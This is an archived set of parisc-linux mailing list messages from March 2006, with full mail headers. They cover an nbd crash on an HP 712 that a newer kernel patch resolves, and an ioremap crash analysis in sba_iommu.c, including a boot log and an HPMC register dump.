User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Ug1iZLdieSEke76WZHQhaXN1IGRvb8C9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23444

On Thu, Mar 09, 2006 at 10:47:50AM -0500, Kyle McMartin wrote:
> On Mon, Mar 06, 2006 at 11:35:53PM +0100, Vincent Stehl? wrote:
> > I tried to have nbd in module or not, but this does not change anything.
> >
> 
> Grant and I fixed this a couple weeks ago:
> http://cvs.parisc-linux.org/linux-2.6/arch/parisc/mm/init.c?r1=1.22&r2=1.23

Kyle,
But the 712 doesn't have an IOMMU.
Comment in the diff says:
	/* IOMMU is always used to access "high mem" on those boxes
	* that can support enough mem that a PCI device couldn't
	* directly DMA to any physical addresses.
	* ISA DMA support will need to revisit this.
	*/

> Please try a newer kernel, such as this one:
> http://cvs.parisc-linux.org/download/linux-2.6/autobuild/712_defconfig/palinux-712-defconfig-2.6.15-pa4_0-2_all.deb

Vincent,
In case the newer kernel doesn't take care of it, can you manually copy
down a few key lines of the panic: panic reason, IOAQ, top three lines
of stack backtrace, gr24, gr25, gr26.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Vincent_Stehl=E9?= <vincent.stehle@free.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug report: 2.6.15 crash when accessing nbd on
	a 712.
Date: Thu, 09 Mar 2006 22:58:10 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <4410A4F2.2050100@free.fr>
References: <440CB949.7040706@free.fr>
	<20060309154750.GA11249@quicksilver.road.mcmartin.ca>
	<20060309174841.GA26062@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624014 18482 80.91.229.3 (22 Nov 2014 02:40:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Mar 2006 21:58:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 09 Mar 2006 22:58:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 897CD7D69D;
	Thu,  9 Mar 2006 14:58:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12417-05; Thu, 9 Mar 2006 14:58:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CFB027D6A1;
	Thu,  9 Mar 2006 14:58:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 12B467D698
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Mar 2006 14:58:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12128-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Mar 2006 14:58:29 -0700 (MST)
Original-Received: from smtp6-g19.free.fr (smtp6-g19.free.fr [212.27.42.36])
	by free.linux.hp.com (Postfix) with ESMTP id 5B2527D697
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Mar 2006 14:58:29 -0700 (MST)
Original-Received: from rikiki.bergerie (vau06-1-82-228-252-113.fbx.proxad.net
	[82.228.252.113])
	by smtp6-g19.free.fr (Postfix) with ESMTP id 0957022398;
	Thu,  9 Mar 2006 22:58:27 +0100 (CET)
Original-Received: from cocotte-et-le-loup.bergerie ([192.168.123.4])
	by rikiki.bergerie with esmtp (Exim 3.36 #1 (Debian))
	id 1FHT9B-0000Q4-00; Thu, 09 Mar 2006 22:58:13 +0100
User-Agent: Debian Thunderbird 1.0.2 (X11/20051002)
X-Accept-Language: en-us, en
In-Reply-To: <20060309174841.GA26062@colo.lackof.org>
X-bergerie-MailScanner: Found to be clean
X-bergerie-MailScanner-From: vincent.stehle@free.fr
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RMBiZEkGeSEkc76WZHQhaXN1IGRvbwAe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23445


Kyle, Grant,

Thank you for your concern. I'll (hopefully) try the kernel you suggest 
next week-end.

Grant Grundler wrote:
> In case the newer kernel doesn't take care of it, can you manually copy
> down a few key lines of the panic: panic reason, IOAQ, top three lines
> of stack backtrace, gr24, gr25, gr26.

Certainly,

But don't you prefer the full log, like I attached to my first post? 
Just wondering...

Best regards,

-- 
Vincent Stehl
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug report: 2.6.15 crash when accessing nbd on a
	712.
Date: Thu, 9 Mar 2006 21:56:24 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20060310045624.GB15359@colo.lackof.org>
References: <440CB949.7040706@free.fr>
	<20060309154750.GA11249@quicksilver.road.mcmartin.ca>
	<20060309174841.GA26062@colo.lackof.org> <4410A4F2.2050100@free.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624014 18485 80.91.229.3 (22 Nov 2014 02:40:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: Vincent Stehl? <vincent.stehle@free.fr>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Mar 2006 04:45:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 10 Mar 2006 05:45:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CC2A7D6BF;
	Thu,  9 Mar 2006 21:45:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14127-08; Thu, 9 Mar 2006 21:45:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66BD37D6C1;
	Thu,  9 Mar 2006 21:45:48 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85F167D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Mar 2006 21:45:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14079-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Mar 2006 21:45:45 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DF0F37D6BD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Mar 2006 21:45:45 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 99293398106;
	Thu,  9 Mar 2006 21:56:25 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10230-05; Thu, 9 Mar 2006 21:56:24 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2FF4A3980FF; Thu,  9 Mar 2006 21:56:24 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <4410A4F2.2050100@free.fr>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1mFjZIQFeSEkJ76WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23446

On Thu, Mar 09, 2006 at 10:58:10PM +0100, Vincent Stehl? wrote:
> But don't you prefer the full log, like I attached to my first post? 
> Just wondering...

Yes, please. I didn't realize you had attachments. Looking at them now.
And it's better to NOT compress them since they aren't that big and
can't be searched later.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Vincent_Stehl=E9?= <vincent.stehle@free.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug report: 2.6.15 crash when accessing nbd on
	a 712.
Date: Sat, 11 Mar 2006 21:30:15 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <44133357.3070104@free.fr>
References: <440CB949.7040706@free.fr>
	<20060309154750.GA11249@quicksilver.road.mcmartin.ca>
	<20060309174841.GA26062@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624015 18487 80.91.229.3 (22 Nov 2014 02:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:15 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2006 20:35:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 11 Mar 2006 21:35:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 15CE37D640;
	Sat, 11 Mar 2006 13:35:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07190-09; Sat, 11 Mar 2006 13:35:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B2867D641;
	Sat, 11 Mar 2006 13:35:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29EF77D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Mar 2006 13:35:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07197-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Mar 2006 13:34:59 -0700 (MST)
Original-Received: from smtp3-g19.free.fr (smtp3-g19.free.fr [212.27.42.29])
	by free.linux.hp.com (Postfix) with ESMTP id 721127D633
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 11 Mar 2006 13:34:59 -0700 (MST)
Original-Received: from rikiki.bergerie (vau06-1-82-228-252-113.fbx.proxad.net
	[82.228.252.113])
	by smtp3-g19.free.fr (Postfix) with ESMTP id 21369486D1;
	Sat, 11 Mar 2006 21:34:57 +0100 (CET)
Original-Received: from cocotte-et-le-loup.bergerie ([192.168.123.4])
	by rikiki.bergerie with esmtp (Exim 3.36 #1 (Debian))
	id 1FIAjI-0007PM-00; Sat, 11 Mar 2006 21:30:24 +0100
User-Agent: Debian Thunderbird 1.0.2 (X11/20051002)
X-Accept-Language: en-us, en
In-Reply-To: <20060309174841.GA26062@colo.lackof.org>
X-bergerie-MailScanner: Found to be clean
X-bergerie-MailScanner-From: vincent.stehle@free.fr
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: K1FhZFBDeSEkS76WZHQhaXN1IGRvb8Dz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23447

Kyle, Grant,

I took your -pa4 patch, applied it over the debian 2.6.15 sources, 
recompiled with nbd and it works fine. I can now swap over nbd.

Thank you very much for your help!

-- 
Vincent Stehl
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Sun, 12 Mar 2006 14:26:16 +0100
Lines: 165
Approved: news@gmane.org
Message-ID: <200603121426.16996.deller@gmx.de>
References: <20060307211213.3A261494013@palinux.hppa>
	<200603072227.38097.deller@gmx.de>
	<20060308073743.GA31959@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624015 18491 80.91.229.3 (22 Nov 2014 02:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Mar 2006 13:26:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 12 Mar 2006 14:26:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13C927D670;
	Sun, 12 Mar 2006 06:26:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12492-08; Sun, 12 Mar 2006 06:26:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1FA27D673;
	Sun, 12 Mar 2006 06:26:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 047B97D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 06:26:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12492-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 06:26:20 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C9A7C7D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 12 Mar 2006 06:26:19 -0700 (MST)
Original-Received: (qmail invoked by alias); 12 Mar 2006 13:26:18 -0000
Original-Received: from p54AD1248.dip0.t-ipconnect.de (EHLO p100.box) [84.173.18.72]
	by mail.gmx.net (mp003) with SMTP; 12 Mar 2006 14:26:18 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20060308073743.GA31959@colo.lackof.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0kRmZNVSeSEkPL6WZHQhaXN1IGRvb0C2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23448

On Wednesday 08 March 2006 08:37, Grant Grundler wrote:
> On Tue, Mar 07, 2006 at 10:27:37PM +0100, Helge Deller wrote:
> > Attached is the patch.
> > I still think we should try to get real ioremapping working.
> > I'm no Linux-Kernel-memory-expert, but my plan was to read about it and learn.
> > Currently, if I enable CONFIG_HPPA_IOREMAP the 64bit kernel crashes
> > in sba_iommu.c: sba_driver_callback() after the first ioremap().
> > Maybe others here want to try as well ?
> 
> Yes, I have. It crashed in exactly the same location.
> But I don't understand the VM magic needed to make this work either.

I did some more testing and analysis on this problem.
(I even for the first time did some reading on Linux kernel memory management to understand all that pgd, pmd, pte stuff :-))

Here is my current analysis.
Maybe someone with a better understanding might have some idea on what's going on ?

drivers/parisc/sba_iommu.c does the following on my machine:
        void __iomem *sba_addr;
        sba_addr = ioremap(0xfffffffffed00000, 4096);  /* 0xfffffffffed00000 is hpa of Astro BC Runway Port at 0xfffffffffed00000 [10] */
        func_class = * (volatile unsigned long long *) (sba_addr + 8);

Here is the important part of the bootlog:

Linux version 2.6.16-rc5-pa2 (root@p100) (gcc version 3.4.3) #21 Sun Mar 12 13:43:30 CET 2006
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Found devices:
1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Setting cache flush threshold to 3ba6c0 (1 CPUs online)

hpa start = fffffffffed00000 size=4096    <<<<<< this is the Astro BC
IOREMAP: phys_addr=fffffffffed00000, offset = 0, size=4096
IOREMAP: addr = 0000000000008000         <<<<< the new vm area ( fffffffffed00000(phys) will be mapped to 0x8000(virt))
set_pte: virtual:8000 -> phys=fffffffffed00000, pte=fffffffffed00283  << here is the pte entry which ioremap() generates.

The pte value seems right, and the __pgprot flags which I used were: _PAGE_PRESENT | _PAGE_RW | _PAGE_NO_CACHE;

So, in my opinion, ioremap() does technically the right thing.
Nevertheless, when reading the quadword from (virt) 0x8000+8 it crashes ("A Data Miss Timeout"? - see HPMC log).

Below is the PIM HPMC output.
Looking at the log, it seems that the pte was (mostly?) right, since
the System Responder Address below is 0xfffffffffed10200.
Although I don't understand why it was 0xfffffffffed10200 and not 0xfffffffffed00008 ?

Any ideas ?

Helge

-----------------  Processor 0 HPMC Information ------------------
Timestamp =
  Sun Mar  12 13:12:54 GMT 2006    (20:06:03:12:13:12:54)

HPMC Chassis Codes = 2cbf0  2500b  2cbf4  2cbfc

General Registers 0 - 31
00-03   0000000000000000  0000000010604920  000000001027a738  000000008fc4a400
04-07   0000000010601920  0000000010576690  0000000000008000  00000000105766b8
08-11   0000000010673380  0000000000000000  000f41fa3d8dea40  00000000105673a8
12-15   000000003b9aca00  00000000ffffffff  0000000000000000  00000000f0400004
16-19   000000008fc4a400  00000000f000017c  00000000f0000174  0000000010567b50
20-23   0000000000000000  0000000000000001  000000000000093c  000000000067123c
24-27   ffffffffffffffff  0000000000000001  0000000010567b50  0000000010601920
28-31   0000000000000018  000000008fc24b30  000000008fc24890  0000000000000060

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  00000000000000c0  0000000000000024
12-15   0000000000000000  0000000000000000  0000000000103000  8000000000000000
16-19   00000009653d8c30  0000000000000000  000000001027a738  000000000cd010d3
20-23   000000000035fffb  0000000040008008  000000000804000f  8000000000000000
24-27   000000000055d000  000000000055d000  00000000ffffffff  00000000ffffffff
28-31   00000000ffffffff  00000000ffffffff  000000008fc24000  00000000105b4000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000001027a73c
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x003010bb
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00031800
System Responder Address     = 0xfffffffffed10200
System Requestor Address     = 0xfffffffffffa0000

'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041000000000
Available Memory             = 0x0000000080000000
CPU Diagnose Register 2      = 0x0301000000802004
CPU Status Register 0        = 0x2020c20000000000
CPU Status Register 1        = 0x8080000000000000
